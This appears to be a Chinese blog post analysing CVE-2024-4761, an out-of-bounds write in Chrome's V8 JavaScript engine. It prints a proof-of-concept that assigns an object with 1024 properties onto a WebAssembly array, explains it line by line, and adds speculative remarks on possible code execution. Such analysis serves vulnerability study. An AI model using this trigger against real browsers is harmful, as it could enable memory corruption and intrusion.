CVE-2024-4761 Chrome 的 JavaScript 引擎 V8 中的“越界写入”缺陷

2024-05-14 19:04

本文主要是介绍CVE-2024-4761 Chrome 的 JavaScript 引擎 V8 中的“越界写入”缺陷,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

分析 CVE-2024-4761 和 POC 代码

CVE-2024-4761 描述

CVE-2024-4761 是一个在 V8 引擎中发现的越界写漏洞,报告日期为 2024-05-09。这个漏洞可能允许攻击者通过特制的代码执行任意代码或者造成内存破坏,进而导致程序崩溃或其他不安全行为。

POC 代码解析
const prefix = "...";d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);let builder = new WasmModuleBuilder();let array = builder.addArray(kWasmI32, true);builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef])).addBody([kExprLocalGet, 0,kGCPrefix, kExprArrayNewDefault, array,kGCPrefix, kExprExternConvertAny,]).exportFunc();let instance = builder.instantiate({});
let wasm = instance.exports;let array42 = wasm.createArray(42);let src = {};
src.a = 1;
delete src.a;for (let i = 0; i < 1024; i++) {src[`p${i}`] = 1;
}Object.assign(array42, src);

在这里插入图片描述

代码分析
  1. 加载 wasm-module-builder.js 模块

    d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);
    

    这里假设 D8(V8 引擎的调试工具)正在执行一段 JavaScript 代码,该代码加载了 WebAssembly 模块构建器脚本。

  2. 构建 WebAssembly 模块

    let builder = new WasmModuleBuilder();
    let array = builder.addArray(kWasmI32, true);
    

    使用 WasmModuleBuilder 创建一个新的 WebAssembly 模块,并定义一个整数数组类型。

  3. 添加和导出一个函数

    builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef])).addBody([kExprLocalGet, 0,kGCPrefix, kExprArrayNewDefault, array,kGCPrefix, kExprExternConvertAny,]).exportFunc();
    

    这个函数 createArray 接受一个整数参数,创建一个新的 WebAssembly 数组并返回一个外部引用。函数体包含指令序列来获取局部变量,创建默认的数组,并将其转换为外部引用。

  4. 实例化模块并调用导出函数

    let instance = builder.instantiate({});
    let wasm = instance.exports;
    let array42 = wasm.createArray(42);
    

    实例化模块后,调用 createArray 函数,创建一个包含 42 个元素的数组。

  5. 构建和修改对象

    let src = {};
    src.a = 1;
    delete src.a;
    for (let i = 0; i < 1024; i++) {src[`p${i}`] = 1;
    }
    Object.assign(array42, src);
    

    创建一个对象 src,并在其中动态添加属性。最后,使用 Object.assignsrc 的属性赋值给 array42

漏洞利用可能性

此代码通过 Object.assign 将一个具有大量属性的对象赋值给一个 WebAssembly 数组,这种操作在 V8 引擎内部可能导致内存管理或边界检查失效,进而触发越界写漏洞。具体表现可能包括覆盖数组边界以外的内存区域,从而执行任意代码或导致程序崩溃。

结论

从代码来看,这段 POC 似乎旨在触发 V8 引擎中的越界写漏洞。通过构建一个包含大量属性的对象并将其分配给 WebAssembly 数组,可以测试 V8 的内存边界检查是否有缺陷。如果存在缺陷,该操作可能会导致越界写,从而验证 CVE-2024-4761 漏洞的真实性。因此,POC 代码看起来是合理且可能真实的漏洞利用示例。

这篇关于CVE-2024-4761 Chrome 的 JavaScript 引擎 V8 中的“越界写入”缺陷的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/989592

相关文章

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

Java操作ElasticSearch的实例详解

《Java操作ElasticSearch的实例详解》Elasticsearch是一个分布式的搜索和分析引擎,广泛用于全文搜索、日志分析等场景,本文将介绍如何在Java应用中使用Elastics... 目录简介环境准备1. 安装 Elasticsearch2. 添加依赖连接 Elasticsearch1. 创

Python如何使用seleniumwire接管Chrome查看控制台中参数

《Python如何使用seleniumwire接管Chrome查看控制台中参数》文章介绍了如何使用Python的seleniumwire库来接管Chrome浏览器,并通过控制台查看接口参数,本文给大家... 1、cmd打开控制台,启动谷歌并制定端口号,找不到文件的加环境变量chrome.exe --rem

Spring核心思想之浅谈IoC容器与依赖倒置(DI)

《Spring核心思想之浅谈IoC容器与依赖倒置(DI)》文章介绍了Spring的IoC和DI机制,以及MyBatis的动态代理,通过注解和反射,Spring能够自动管理对象的创建和依赖注入,而MyB... 目录一、控制反转 IoC二、依赖倒置 DI1. 详细概念2. Spring 中 DI 的实现原理三、

SpringBoot 整合 Grizzly的过程

《SpringBoot整合Grizzly的过程》Grizzly是一个高性能的、异步的、非阻塞的HTTP服务器框架,它可以与SpringBoot一起提供比传统的Tomcat或Jet... 目录为什么选择 Grizzly?Spring Boot + Grizzly 整合的优势添加依赖自定义 Grizzly 作为

Java后端接口中提取请求头中的Cookie和Token的方法

《Java后端接口中提取请求头中的Cookie和Token的方法》在现代Web开发中,HTTP请求头(Header)是客户端与服务器之间传递信息的重要方式之一,本文将详细介绍如何在Java后端(以Sp... 目录引言1. 背景1.1 什么是 HTTP 请求头?1.2 为什么需要提取请求头?2. 使用 Spr

Java如何通过反射机制获取数据类对象的属性及方法

《Java如何通过反射机制获取数据类对象的属性及方法》文章介绍了如何使用Java反射机制获取类对象的所有属性及其对应的get、set方法,以及如何通过反射机制实现类对象的实例化,感兴趣的朋友跟随小编一... 目录一、通过反射机制获取类对象的所有属性以及相应的get、set方法1.遍历类对象的所有属性2.获取

Java中的Opencv简介与开发环境部署方法

《Java中的Opencv简介与开发环境部署方法》OpenCV是一个开源的计算机视觉和图像处理库,提供了丰富的图像处理算法和工具,它支持多种图像处理和计算机视觉算法,可以用于物体识别与跟踪、图像分割与... 目录1.Opencv简介Opencv的应用2.Java使用OpenCV进行图像操作opencv安装j

java Stream操作转换方法

《javaStream操作转换方法》文章总结了Java8中流(Stream)API的多种常用方法,包括创建流、过滤、遍历、分组、排序、去重、查找、匹配、转换、归约、打印日志、最大最小值、统计、连接、... 目录流创建1、list 转 map2、filter()过滤3、foreach遍历4、groupingB

SpringBoot如何使用TraceId日志链路追踪

《SpringBoot如何使用TraceId日志链路追踪》文章介绍了如何使用TraceId进行日志链路追踪,通过在日志中添加TraceId关键字,可以将同一次业务调用链上的日志串起来,本文通过实例代码... 目录项目场景:实现步骤1、pom.XML 依赖2、整合logback,打印日志,logback-sp